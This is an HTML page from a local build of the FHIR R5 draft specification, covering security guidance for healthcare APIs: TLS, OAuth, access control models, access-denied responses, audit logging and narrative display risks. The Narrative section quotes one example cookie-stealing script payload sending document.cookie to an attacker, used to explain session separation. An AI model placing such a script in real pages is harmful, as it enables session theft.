forked from HL7/fhir
-
Notifications
You must be signed in to change notification settings - Fork 0
/
fhir-error-dump.html
600 lines (540 loc) · 40.6 KB
/
fhir-error-dump.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Security - FHIR v5.0.0-draft-final</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<meta name="author" content="http://hl7.org/fhir"/>
<link href="fhir.css" rel="stylesheet"/>
<link href="fhir-pub.css" rel="stylesheet"/>
<link rel="Prev" href="http://hl7.org/fhir/security.html"/>
<!-- Bootstrap core CSS -->
<link href="./dist/css/bootstrap.css" rel="stylesheet"/>
<link href="./assets/css/bootstrap-fhir.css" rel="stylesheet"/>
<!-- Project extras -->
<link href="./assets/css/project.css" rel="stylesheet"/>
<link href="./assets/css/pygments-manni.css" rel="stylesheet"/>
<link href="jquery-ui.css" rel="stylesheet"/>
<script src="./assets/js/fhir-table-scripts.js"></script>
<!-- Favicons -->
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="./assets/ico/apple-touch-icon-144-precomposed.png"/>
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="./assets/ico/apple-touch-icon-114-precomposed.png"/>
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="./assets/ico/apple-touch-icon-72-precomposed.png"/>
<link rel="apple-touch-icon-precomposed" href="./assets/ico/apple-touch-icon-57-precomposed.png"/>
<link rel="shortcut icon" href="./assets/ico/favicon.png"/>
</head>
<body>
<div id="segment-header" class="segment"><!-- segment-header -->
<div class="container"> <!-- container -->
<a no-external="true" id="logo" href="http://hl7.org/fhir"><img src="./assets/images/fhir-logo-www.png" alt="logo fhir" width="249" height="60"/> </a>
<div id="hl7-status">
<b>Local Build (DESKTOP-HAMT9VH)</b>
</div>
<div id="hl7-nav">
<a no-external="true" id="hl7-logo" href="http://www.hl7.org">
<img src="./assets/images/hl7-logo.png" width="54" alt="visit the hl7 website" height="50"/>
</a>
</div>
<div id="hl7-nav"><a no-external="true" id="hl7-logo" href="http://build.fhir.org/search-build.html"><img src="./assets/images/search.png" alt="Search CI-Build FHIR"/></a></div>
</div>
<div class="container"> <!-- container -->
</div></div><!-- /segment-header -->
<div id="segment-navbar" class="segment"><!-- segment-navbar -->
<div id="stripe"> </div>
<div class="container"><!-- container -->
<!-- HEADER CONTENT -->
<nav class="navbar navbar-inverse">
<div class="container">
<button data-target=".navbar-inverse-collapse" data-toggle="collapse" class="navbar-toggle" type="button">
<span class="icon-bar"> </span>
<span class="icon-bar"> </span>
<span class="icon-bar"> </span>
</button>
<a href="index.html" class="navbar-brand hidden">FHIR</a>
<div class="nav-collapse collapse navbar-inverse-collapse">
<ul class="nav navbar-nav">
<li><a href="./index.html">Home</a></li>
<li><a href="./modules.html">Getting Started</a></li>
<li><a href="./documentation.html">Documentation</a></li>
<li><a href="./datatypes.html">Data Types</a></li>
<li><a href="./resourcelist.html"><b><i>Resource Types</i></b></a></li>
<li><a href="./terminologies-systems.html">Terminologies</a></li>
<li class="dropdown">
<a data-toggle="dropdown" href="#" class="dropdown-toggle">Artifacts<b class="caret"></b></a>
<ul class="dropdown-menu">
<li><a href="https://build.fhir.org/ig/HL7/fhir-extensions/extension-registry.html">Extensions</a></li>
<li><a href="./operationslist.html">Operations</a></li>
<li><a href="./patterns.html">Patterns</a></li>
<li><a href="./profilelist.html">Profiles</a></li>
<li><a href="./searchparameter-registry.html">Search Parameters</a></li>
<li class="divider"></li>
<li><a href="http://registry.fhir.org" target="_blank">Artifact Registry</a></li>
</ul>
</li>
<li><a href="http://fhir.org/guides/registry" target="_blank">Implementation Guides</a></li>
</ul>
</div><!-- /.nav-collapse -->
</div><!-- /.container -->
</nav><!-- /.navbar -->
<!-- /HEADER CONTENT -->
</div><!-- /container -->
</div><!-- /segment-navbar -->
<div id="segment-breadcrumb" class="segment"><!-- segment-breadcrumb -->
<div class="container"><!-- container -->
<ul class="breadcrumb">
<li><a href="secpriv-module.html"><img src="secpriv.jpg" alt="link"/> Security and Privacy</a></li>
<li><b>Security</b></li> <!-- security.html / page / -->
</ul>
</div><!-- /container -->
</div><!-- /segment-breadcrumb -->
<div id="segment-content" class="segment"><!-- segment-content -->
<div class="container"><!-- container -->
<div class="row">
<div class="inner-wrapper">
<!-- CONTENT CONTENT -->
<div class="col-12">
<p style="background-color: #ffefef; border:1px solid maroon; padding: 5px; max-width: 790px;">This is your Local Build of FHIR. <br/>See the <a href="http://hl7.org/fhir/directory.html">Directory of published versions for published versions</a></p>
<h1>FHIR Security</h1>
<table class="colstu"><tr><td id="wg"><a _target="blank" href="http://www.hl7.org/Special/committees/secure/index.cfm">Security</a> Work Group</td><td id="fmm"><a href="versions.html#maturity">Maturity Level</a>: 4</td><td id="ballot"><a href="versions.html#std-process">Standards Status</a>:<!--!ns!--><a href="versions.html#std-process">Trial Use</a></td></tr></table>
<p>
Fast Healthcare Interoperability Resources (FHIR) is not a security protocol, nor does it define any security
related functionality. However, FHIR does define exchange protocols and content models that need to be used
with various security protocols defined elsewhere. This section gathers all information about security
in one section. A summary:
</p>
<ol>
<li>Time Keeping - all clocks should be synchronized using NTP/SNTP, and the design of the system should be robust against a system clock with the wrong value</li>
<li><a href="#http">Communications Security</a> - all exchange of production data should be secured using TLS (e.g., https).</li>
<li><a href="#authentication">Authentication</a> - Users/Clients must be authenticated. For web-centric, OAuth is recommended, consider use of <a href="http://www.hl7.org/fhir/smart-app-launch/index.html">HL7 SMART App Launch</a> Implementation Guide where appropriate.</li>
<li><a href="#binding">Authorization/Access Control</a> - FHIR defines a Security Label infrastructure to support access control management. FHIR may also define a set of resources to administer access control management, but does not define any at present</li>
<li><a href="#audit">Audit</a> - FHIR defines <a href="provenance.html">provenance</a> and <a href="auditevent.html">audit event</a> resources suitable for tracking the origins, authorship, history, status, and access of resources</li>
<li><a href="signatures.html">Digital Signatures</a> - FHIR includes several specifically reserved locations for digital signatures</li>
<li><a href="#attachments">Attachments</a> - FHIR allows for binary resources and attachments. These have their own concerns</li>
<li><a href="security-labels.html">Labels</a> - FHIR allows for set of security related tags that affect the way resources are handled</li>
<li><b>Data Management Policies</b> - FHIR defines a set of capabilities to support data exchange.
Not all the capabilities that FHIR enables may be appropriate or legal for use in some combinations of context and jurisdiction (e.g. HIPAA, GDPR).
It is the responsibility of implementers to ensure that relevant regulations and other requirements are met.</li>
<li><a href="#narrative">Narrative</a> - Care must be taken when displaying the narrative from FHIR resources</li>
<li><a href="#input">Input Validation</a> - Validate all input received from other actors to assure the data is well formed and does not contain content that would cause unwanted system behavior. Testing ensures that the input is not susceptible to data input validation errors by using techniques such as fuzzing, invalid input attacks, and injection attacks.</li>
<li><a href="#oauth">When using OAuth</a> - Consider the draft <a href="https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics">Best-Current-Practice for OAuth</a></li>
<li><b>Security / Privacy Event Reporting</b> - Consider legal obligations and ethical obligations to provide a means for Security and/or Privacy Event Reporting such as security vulnerability, or breach. </li>
</ol>
<p>
Time critical concerns regarding security flaws in the FHIR specification should be addressed to
the <a href="https://confluence.hl7.org/display/FHIR/Mailing+List+Instructions">FHIR email
list</a> for prompt consideration.
</p>
<a name="general"></a>
<h2>General Considerations</h2>
<p>
A production FHIR system will need some kind of security sub-system that administers
users, user authentication, and user authorization. Where this subsystem fits into the
deployment architecture is a matter for system design:
</p>
<table class="dense">
<tr>
<td valign="center">
<img height="263" width="358" src="security-layout.png"/>
</td>
<td> </td>
<td valign="center" style="border-left: 1px solid grey">
<table class="dense">
<tr><td><img height="32" width="32" src="security-icon-user.png"/></td><td>The consumer that is using a healthcare related system</td></tr>
<tr><td><img height="32" width="32" src="security-icon-app.png"/></td><td>The client application the user is using (application, mobile app, website, etc.)</td></tr>
<tr><td><img height="32" width="32" src="security-icon-sec.png"/></td><td>The security system (authentication and access control)</td></tr>
<tr><td><img height="32" width="32" src="security-icon-fhir.png"/></td><td>The clinical/healthcare repository</td></tr>
</table>
</td></tr></table>
<p>
In this diagram, the red lines represent FHIR interfaces. From the perspective of the FHIR API,
the client (consumer of FHIR services) may either interact with a security system that manifests
as a FHIR server, and which depends on a subsequent FHIR interface to provide the actual storage,
or either the client or server interacts with the security system independently. In each of these
3 scenarios, the different components may be assembled into applications or network components
differently, but the same logical layout applies. The FHIR specification assumes that a security
system exists, and that it may be deployed in front of or behind the FHIR API.
</p>
<a name="access-control"></a>
<p>
The security system includes the following subsystems:
</p>
<ul>
<li>Authentication: identifies and authenticates the user</li>
<li>Access Control decision engine: decides whether FHIR operations are allowed</li>
<li>Audit Log: records actions to allow for subsequent review and detection of intrusion or inappropriate usage</li>
</ul>
<p>
Because there are a plethora of standards relating to
the administration and functionality of the security system, FHIR does not provide user,
profile, or other such administration resources. Instead, the FHIR resources are the targets
of the policies expressed in these other approaches. What FHIR does specify is a way to apply
<a href="security-labels.html">security labels</a> to resources so that a security system may use these (along with the contents
of the resources if appropriate) to determine whether a user is authorized to perform a
particular FHIR operation or not.
</p>
<!--
These HTTP calls may be authenticated against a single user account (including
using <a href="http://www.oauth.org">OAuth</a>), but this arrangement doesn't cater for common transaction metadata such as multiple users,
responsible party, reasons, consents, etc. that are commonly encountered in healthcare. Instead,
use of this RESTful implementation assumes that appropriate security and logs are managed by the client (perhaps
through using <a href="http://wiki.ihe.net/index.php?title=Audit_Trail_and_Node_Authentication">ATNA</a>), and
that the server trusts the client to maintain these. One implication is that this RESTful framework is
only suitable for use where such trust relationships exist (e.g. in a single institution) and is not
suitable where such trust does not exist (e.g. state & national EHR systems and health record
systems that support disparate systems). Similarly, this simple RESTful interface has no support for
explicit archiving and similar functions. Use-cases where these kind of features are required should
consider a <a href="messaging.html">messaging</a> or <a href="implementation.html#SOA">SOA-based approach</a> or
some other kind of profiled REST interface.
-->
<a name="SecPrivConsiderations"></a>
<h2>Security and Privacy Considerations</h2>
<p>
The appropriate protections for Privacy and Security are specific to the risks to Privacy and the risks to Security of that data being protected.
This concept of appropriate protections is a very specific thing to the actual data.
Any declaration of 'required' or 'optional' requirements that could be mentioned here are only recommendations for that kind of Resource
in general for the most dominant use of that Resource. Where one uses the Resource in a way that is different than this most dominant use, one will
have different risks and thus need different protections.
Each Resource is indicated with the dominant "Security Category", and all of the Resources Security Category is shown on the <a href="resourcelist.html">Resource Types</a> page with the <a href="resourcelist.html#tabs-7">Security Category</a> tab.
</p>
<p>
Most Resources will need some form of Access Control to Create, Update, or Delete.
The following general guidance is given only as general guidance for READ and QUERY access:
</p>
<a name="Anonymous"></a>
<h3>
Anonymous READ Access Resources
</h3>
<p>
These resources tend to not contain any individual data, or business sensitive data. Most often these Resources will be available
for anonymous access, meaning there is no access control based on the user or system requesting.
However, these Resources do tend to contain important information that must be authenticated back to the source publishing them, and
protected from integrity failures in communication.
For this reason, server authenticated https (TLS) is recommended to provide authentication of the server and integrity protection in transit.
This is normal web-server use of <a href="#http">https</a>.
</p>
<a name="Business"></a>
<h3>Business Sensitive Resources</h3>
<p>
These Resources tend to not contain any individual data, but do have data that describe business or service sensitive data.
The use of the term Business is not intended to only mean an incorporated business, but rather the broader concept of an organization,
location, or other group that is not identifiable as individuals.
Often these resources will require some sort of client authentication to assure that only authorized access is given.
The client access control may be to individuals, or may be to system identity.
For this purpose, possible client authentication methods such as: mutual-authenticated-TLS, APIKey, App signed JWT, or App OAuth client-id JWT
For example: an App that uses a Business protected Provider Directory to determine other business endpoint details.
</p>
<a name="Individual"></a>
<h3>Individual Sensitive</h3>
<p>
These Resources do NOT contain Patient data, but do contain individual information about other participants.
These other individuals are Practitioners and PractitionerRole.
These identities are needed to enable the practice of healthcare.
These identities are identities under general privacy regulations, and thus must consider Privacy risk.
Often access to these other identities are covered by business relationships.
For this purpose, access to these Resources will tend to be Role specific using methods such as RBAC or ABAC.
</p>
<a name="Patient"></a>
<h3>Patient Sensitive</h3>
<p>
These Resources make up the bulk of FHIR and therefore are the most commonly understood.
These Resources contain highly sensitive health information, or are closely linked to highly sensitive health information.
These Resources will often use the <a href="security-labels.html">security labels</a> to differentiate various confidentiality levels within this broad group of Patient Sensitive data.
Access to these Resources often requires a declared Purpose Of Use.
Access to these Resources is often controlled by a <a href="consent.html">Privacy Consent</a>.
See the section below on <a href="#binding">Authorization and Access Control</a>.
</p>
<a name="Unknowable"></a>
<h3>No Dominant Category</h3>
<p>
Some Resources can be used for a wide scope of use-cases that span very sensitive to very non-sensitive.
These Resources do not fall into any of the above classifications, as their sensitivity is highly variable.
These Resources will need special handling.
These Resources often contain metadata that describes the content in a way that can be used for Access Control decisions.
</p>
<a name="http"></a>
<h2>
Communications
</h2>
<p>
For the <a href="http.html">RESTful API</a>, normal HTTP security rules apply.
Please follow the <a href="https://tools.ietf.org/html/rfc7231#section-9"> HTTP specification Security Considerations section 9</a>.
The <a href="http.html#root">Service Base URL</a> will specify whether TLS is required.
Client authentication may be required by the server, possibly including the requirement for
client certificates.
When returning responses to non-authorized clients, ensure that Hypertext Transfer Protocol (HTTP) headers of a web server and API error messages or faults do not disclose detailed information about the underlying web server that could be the source of potential exploitation.
</p>
<p>
Please follow IETF Best Current Practice (<a href="https://tools.ietf.org/html/bcp195">BCP 195</a>) - <a href="https://tools.ietf.org/html/bcp195">"Recommendations for Secure Use of Transport Layer Security (TLS) and Datagram Layer Security (DTLS)"</a>.
</p>
<p>
Consider using additional methods of security for an API to help authenticate where Domain Name System (DNS) responses are coming from and ensure that they are valid. For example, the use of Domain Name System Security Extensions (DNSSEC), a suite of extensions that add security to the DNS protocol, can ensure that domains associated with API endpoints that transmit health information or information required for API access are secure. DNSSEC provides origin authority, data integrity, and authenticated denial of existence. With DNSSEC, the DNS protocol is much less susceptible to certain types of attacks, particularly DNS spoofing attacks.
</p>
<p>
The TLS communications are established
prior to any HTTP command/response, so the whole FHIR interaction is protected by the TLS
communications. The security of the endpoints of the TLS communications must be risk-managed,
so as to prevent inappropriate risks (e.g. audit logging of the GET parameters into an unprotected audit log).
</p>
<p>
When it is desirable to support browser-based javascript client applications, servers SHOULD consider
enabling <a href="https://www.w3.org/TR/cors/">cross-origin resource sharing (CORS)</a> for the <a href="http.html">REST operations</a>.
Consider advice from sources including <a href="http://enable-cors.org/">Enable-CORS</a> and <a href="https://www.moesif.com/blog/technical/cors/Authoritative-Guide-to-CORS-Cross-Origin-Resource-Sharing-for-REST-APIs/">Moesif blog on Guide to CORS Pitfalls</a>.
Experience shows that this is an area where ongoing issues may be expected as security holes are found and closed on an ongoing basis.
</p>
<a name="authentication"></a>
<h2>Authentication</h2>
<p>
Except when no patient data are involved such as Provider Directories and test sandbox systems, FHIR servers need to authenticate the client system and trust it, or authenticate
the individual user by a variety of techniques. For web-centric environments it is recommended to use
<a href="http://openid.net/connect/">OpenID Connect</a> (or other suitable authentication protocol) to confirm the identity of the authenticated end user, where it is necessary that end-users be identified to the application.
</p>
<p>
For scalable security, either <a href="http://hl7.org/fhir/us/udap-security/consumer.html">UDAP Consumer-Facing</a> or <a href="http://hl7.org/fhir/us/udap-security/b2b.html">UDAP Business-to-Business</a> should be implemented, as appropriate.
The Registration and Discovery sections of <a href="http://hl7.org/fhir/us/udap-security/index.html">UDAP Security</a> should also be implemented to securely scale the addition of new client and server endpoints.
Tiered <a href="http://hl7.org/fhir/us/udap-security/user.html">OAuth for User Authentication</a> should be implemented to securely scale trust with new OIDC credential issuers.
</p>
<p>
All systems shall protect authenticator mechanisms, and select the type of credential/strength of authenticator based on use-case and risk management.
</p>
<a name="binding"></a>
<h2>
Authorization/Access Control
</h2>
<p>
Correctly identifying people, devices, locations and organizations is one of the foundations that any security system is built on.
Most applications of security protocols, whether authentication, access control, digital signatures, etc. rely on the correct mapping between
the relevant resources and the underlying systems. Note that this isn't necessary. There is nothing in FHIR that requires or relies
on any security being in place, or any particular security implementation. However, real-world usage will generally require this.
</p>
<p>
A holder of data should not allow the data to be communicated unless there are enough assurances that the
other party is authorized to receive it. This is true for a client creating a resource through a PUT/POST,
as much as it is true for a server returning resources on a GET. The presumption is that without
proper authorization, to the satisfaction of the data holder, the data does not get communicated.
</p>
<p>
Two of the classic Access Control models are: Role-Based Access Control (RBAC), and Attribute-Based Access Control (ABAC).
</p>
<p>
In Role-Based Access Control (RBAC), permissions are operations on an object that a user wishes to access.
Permissions are grouped into roles. A role characterizes the functions a user can perform. Roles
are assigned to users. If the user's role has the appropriate permissions to access an object, then that
user is granted access to the object. FHIR readily enables RBAC, as FHIR Resources are object types and
the CRUDE (Create, Read, Update, Delete, Execute) events (the FHIR equivalent to permissions in the RBAC scheme) are operations on those objects.
</p>
<p>
In Attribute-Based Access Control (ABAC), a user requests to perform operations on objects. That user's
access request is granted or denied based on a set of access control policies that are specified in terms
of attributes and conditions. FHIR readily enables ABAC, as instances of a Resource in FHIR (again,
Resources are object types) can have attributes associated with them. These attributes include security
tags, environment conditions, and a host of user and object characteristics, which are the same
attributes as those used in ABAC. Attributes help define the access control policies that determine
the operations a user may perform on a Resource (in FHIR) or object (in ABAC).
For example, a tag (or attribute) may specify that the identified Resource (object) is not to be
further disclosed without explicit consent from the patient.
</p>
<p>
The rules behind the access control decision are often very complex, and potentially depend on information sourced from:
</p>
<ul>
<li>Client, such as user identity, user role, location, level of assurance</li>
<li>Resource, such as confidentiality, sensitivity, type of data, date ranges covered by the data, author of the data</li>
<li>Patient, such as the patient identity, patient relationship to the user, patient consent policies</li>
<li>Context of the transaction, system identity, time-of-day, token expiration, token scope, purpose of use, workflow state, and transport security</li>
</ul>
<!-- HL7 has papers on this topic. -->
<p>For one source of further information, see the
<a href="http://www.ihe.net/Technical_Framework/upload/IHE_ITI_TF_WhitePaper_AccessControl_2009-09-28.pdf">IHE Access Control white paper</a>
</p>
<p>
Access control constraints may result in data returned in a read or search being
redacted or otherwise restricted. See <a href="updates.html">Variations between
Submitted data and Retrieved data</a>.
</p>
<h3>
Access Control Considerations
</h3>
The FHIR RESTful API provides several ways that a client may request or create information.
When designing a system to authorize access to information, all potential access methods must be considered.
They include the following:
<ul>
<li>The basic CRUD methods on resources. A security implementation must evaluate whether a client can read, update create or delete a given resource.</li>
<li>Chained search provides the ability to disclose information on related resources. A security implementation must consider whether a client has the permission to access the resource being searched on, as well as the chained resource(s)</li>
<li>_include and _revinclude search parameters allow client to request related resources. A security implementation must determine if the client has access to the included resources.</li>
<li><a href="security-labels.html">security labels</a></li>
<li>Several resources, including Bundle, Composition, Group and List, are designed to contain other resources. A security implementation should consider whether access to an individual resource, such as a Bundle, should permit access to all resources contained within the resource.</li>
<li>FHIR defines several operations that may be supported by a server. Security implementations must evaluate whether a client can invoke these operations and what information should be returned from them. Fetch Encounter Record, Evaluate Measure, Observation Statistics, Find Patient Matches using MPI-based Logic, and Fetch Patient Record specifically provide the ability to disclose patient information.</li>
<li>Batch and transaction processing provide ways for clients to create and update information in bulk. Security implementations should consider whether a client can initiate one of these interactions and make authorization decisions on each action in the batch/transaction.</li>
<li>Security implementations must be aware of the <a href="security-labels.html#break-the-glass">Break the Glass protocol</a> (e.g. break the glass) (<a href="auditevent-example-breakglass-start.html">example</a>). </li>
</ul>
<a name="AuthZmethods"></a>
<h3>
Approaches to Implementing Access Control
</h3>
<p>
It is recommended that <a href="http://oauth.net/">OAuth</a> be used to authenticate and/or authorize
the client and user. The <a href="http://www.hl7.org/fhir/smart-app-launch/index.html">HL7 SMART App Launch</a> Implementation Guide is a recommended method for using OAuth for authorizing interactions with a protected FHIR Server.
</p>
<p>
The method today for managing and enforcing patient consents in Patient-Directed and Patient-Mediated workflows relies on an OAuth 2.0 server which uses the patient consents as the applicable authorization policies at the time of issuing a token. In this model, the authorization server (OAuth 2.0 or its <a href="https://docs.kantarainitiative.org/uma/ed/uma-core-2.0-01.html">User-Managed Access profile</a>) examines the patient consent to determine whether or not to issue a token to a requesting client and what scopes to grant.
</p>
<p>
The <a href="https://openid.net/wg/heart/">HEART Working Group</a> has developed a
set of privacy and security specifications that enable an individual to control the
authorization of access to RESTful health-related data sharing APIs, and to facilitate
the development of interoperable implementations of these specifications by others.
</p>
<p>
The main motivation behind this model is to have a separate consent management system in charge of collecting, storing, and maintaining patient consents, as well as responding to authorization requests based on these consents. This would allow organizations to outsource their consent management functions to a consent management service. Further details about this model are discussed in <a href="https://confluence.hl7.org/display/SEC/Veterans+Health+Administration+Sponsored+Security+and+Privacy+Papers?preview=%2F66931686%2F66939024%2FUMA_Consent_Management_Service-2017-11-27.pdf">this report</a>.
</p>
<p>
IHE <a href="https://profiles.ihe.net/ITI/IUA">IUA Profile</a> constrains OAuth token attributes to support Healthcare Information Exchange environments such as <a href="https://profiles.ihe.net/ITI/HIE-Whitepaper/index.html">IHE Document Sharing</a>. IHE includes guidance on access control within this whitepaper and has implementation guides.
</p>
<p>
An extension to a single level model, Cascaded Authorization, enables an OAuth/UMA authorization server to require and rely on the approval of another OAuth/UMA server before issuing a token and granting scopes. Using this model, the enterprise OAuth/UMA server at a provider organization can rely on the decisions by a Consent OAuth/UMA Server by requiring and accepting access tokens issued by that server as part of the client authorization process. This architecture preserves the independence of a consent management system, which can potentially be outsourced to third-parties, while ensuring that all authorization interfaces and interactions follow the OAuth/UMA protocols. A summary of the concepts and flows for Cascaded Authorization are discussed in <a href="https://confluence.hl7.org/display/SEC/Veterans+Health+Administration+Sponsored+Security+and+Privacy+Papers?preview=%266931686/66939023%2Cascaded_Authorization-2018-01-15.pdf">this report</a>. Further extensions to this model to leverage UMA’s capabilities to simplify some of the flows are discussed in <a href="https://confluence.hl7.org/display/SEC/Veterans+Health+Administration+Sponsored+Security+and+Privacy+Papers?preview=%266931686/66939022%2Privacy_Preserving_Authorization-2018-01-15.pdf">this report</a>. A reference implementation of Cascaded Authorization and more technical details can be found <a href="https://github.com/mojitoholic/pauldron">here</a>.
</p>
<p>
For business to business workflows, the <a href="http://hl7.org/fhir/us/udap-security/b2b.html#b2b-authorization-extension-object">UDAP B2B Authorization Extension Object</a> can be used to assert consent information in communities supporting cross-organization FHIR based exchanges.
</p>
<a name="AccessDenied"></a>
<h3>
Access Denied Response Handling
</h3>
<p>
A web-server, especially hosting FHIR, must choose the response carefully when an Access Denied condition exists.
Returning too much information may expose details that should not be communicated. The Access Denied condition
might be because of missing but required Authentication, the user is not authorized to access the endpoint,
the user is not authorized to access specific data, or other policy reasons.
</p>
<p>
To balance usability of the returned result vs appropriate protection, the actual result method used needs to be controlled by policy and context.
Typical methods of handling Access Denied used are:
</p>
<p>
<b>Return a Success with Bundle containing zero results</b> - This result is indistinguishable from the case where no data is known. When consistently returned on Access Denied, this will not expose which patients exist, or what data might be blinded. This method is also consistent with cases where some results are authorized while other results are blinded. This can only be used when returning a Bundle is a valid result.
</p>
<p>
<b>Return a 404 "Not Found"</b> - This also protects from data leakage as it is indistinguishable from a query against a resource that doesn't exist. It does however leak that the user authentication is validated.
</p>
<p>
<b>Return a 403 "Forbidden"</b> - This communicates that the reason for the failure is an Authorization failure. It should only be used when the client and/or user is well enough known to be given this information. Thus this method is most used when the user can know that they are forbidden access. It doesn't explain how the user might change things to become authorized.
</p>
<p>
<b>Return a 401 "Unauthorized"</b> - This communicates that user authentication was attempted and failed to be authenticated.
</p>
<p>
Note that if a server allows <a href="http.html#upsert">PUT to a new location</a>,
it is not feasible to return 404 Not Found. This means that clients can use this to
test whether content exists that they are not able to access, which is a minor, but
potentially significant, leak of information.
</p>
<a name="audit"></a>
<h2>Audit Logging</h2>
<p>
FHIR provides an <a href="auditevent.html">AuditEvent</a> resource suitable for use by
FHIR clients and servers to record when a security or privacy relevant event has occurred.
This form of audit logging records as much detail as reasonable at the time the event happened.
IHE <a href"https://profiles.ihe.net/ITI/BALP/index.html">Basic Audit Log Patterns Implementation Guide</a> has profiling of the <a href="auditevent.html">AuditEvent</a> resource for security and privacy purposes including patterns for RESTful events, RESTful patient affecting events, Authorization Decisions, and Accounting of Disclousures.
</p>
<p>
When used to record security and privacy relevant events, the AuditEvent can then be
used by properly authorized applications to support audit reporting, alerting, filtering,
and forwarding. This model has been developed and used in healthcare for a decade as
<a href="https://profiles.ihe.net/ITI/TF/Volume1/ch-9.html">IHE-ATNA profile</a>.
ATNA log events can be automatically converted to AuditEvent resources, and from there,
client applications are able to search the audit events, or subscribe to them.
</p>
<p>
For HTTP logs, implementers need to consider the implications of distributing
access to the logs. HTTP logs, including those that only contain the URL itself, should be
regarded as being as sensitive as the resources themselves. Even if direct PHI is kept out of
the logs by careful avoidance of search parameters (e.g. by using POST), the logs will
still contain a rich set of information about the clinical records.
</p>
<a name="attachments"></a>
<h2>Attachments</h2>
<p>
Several FHIR resources include attachments. Attachments can either be references to content found elsewhere or included inline encoded in base64.
Attachments represent security risks in a way that FHIR resources do not, since some attachments contain executable code. Implementers should
always use caution when handling resources.
</p>
<a name="labels"></a>
<h2>Security Labels</h2>
<p>
See <a href="security-labels.html">Security Labels</a>.
</p>
<a name="narrative"></a>
<h2>Narrative</h2>
<p>
FHIR resources include an XHTML narrative, so that applications can display the contents of the resource to users
without having to fully and correctly process the data in the resource. However, displaying HTML is associated
with several known security issues that have been observed in production systems in other contexts (e.g.
<a href="http://smartplatforms.org/2014/04/security-vulnerabilities-in-ccda-display/">with CDA</a>). For
this reason, the <a href="narrative.html#security">FHIR narrative can't contain active content</a>.
However, care is still needed when displaying the narrative:
</p>
<ul>
<li>Validate the narrative (the standard FHIR schemas do not allow active content, and the reference implementations won't handle it). Note, though, that external references could still be included in CSS, and removing/preventing these are outside the scope of schemas and reference implementations.</li>
<li>Ensure that any external references to images or anchors (e.g. outside the resource) do not cause the display software to <a href="http://smartplatforms.org/2014/04/security-vulnerabilities-in-ccda-display/">leak sensitive information in headers</a></li>
<li>Do not allow external links to run in a privileged context such as the EHR unless you are sure they can be trusted</li>
<li>Care should be taken to differentiate HTTP RESTful (API) from browser-based server content. Specifically, one should separate user session cookies, as an attacker could create content that serves up with content-type "text/html" and has content like "<script>send_to_attacker(document.cookie);</script>".</li>
</ul>
<p>
Also note that the inclusion of an external reference to an image can allow the server that hosts the image to track
when the resource is displayed. This may be a feature or a problem depending on the context.
</p>
<a name="stylesheets"></a>
<p>
In addition to narrative, <a href="documents.html">Documents</a> may also contain
stylesheets. Unlike with CDA, the stylesheets are simple CSS stylesheets, not
executable XSLT, so the same security risks do not apply. However, CSS stylesheets
may still reference external content (e.g. background images), and applications
displaying documents should ensure that CSS links are not automatically followed
without checking their safety first, and that session/identifying information
does not leak with any use of external links.
</p>
</div> <!-- col-12 -->
</div><!-- /inner-wrapper -->
</div><!-- /row -->
</div><!-- /container -->
</div><!-- /segment-content -->
<div id="segment-footer" class="segment"><!-- segment-footer -->
<div class="container"><!-- container -->
<div class="inner-wrapper">
<p>
FHIR ®© HL7.org 2011+. FHIR R5 hl7.fhir.core#5.0.0-draft-final generated on Mon, Mar 20, 2023 13:51-0500.
<br/>
<span style="color: #FFFF77">
Links: <a style="color: #b8dcf9" href="http://hl7.org/fhir/search.cfm">Search</a> |
<a style="color: #b8dcf9" href="history.html">Version History</a> |
<a style="color: #b8dcf9" href="toc.html">Contents</a> |
<a style="color: #b8dcf9" href="help.html">Glossary</a> |
<a style="color: #ffffff" href="qa.html">QA</a> |
<!-- <a style="color: #b8dcf9" href="credits.html">Credits</a> | -->
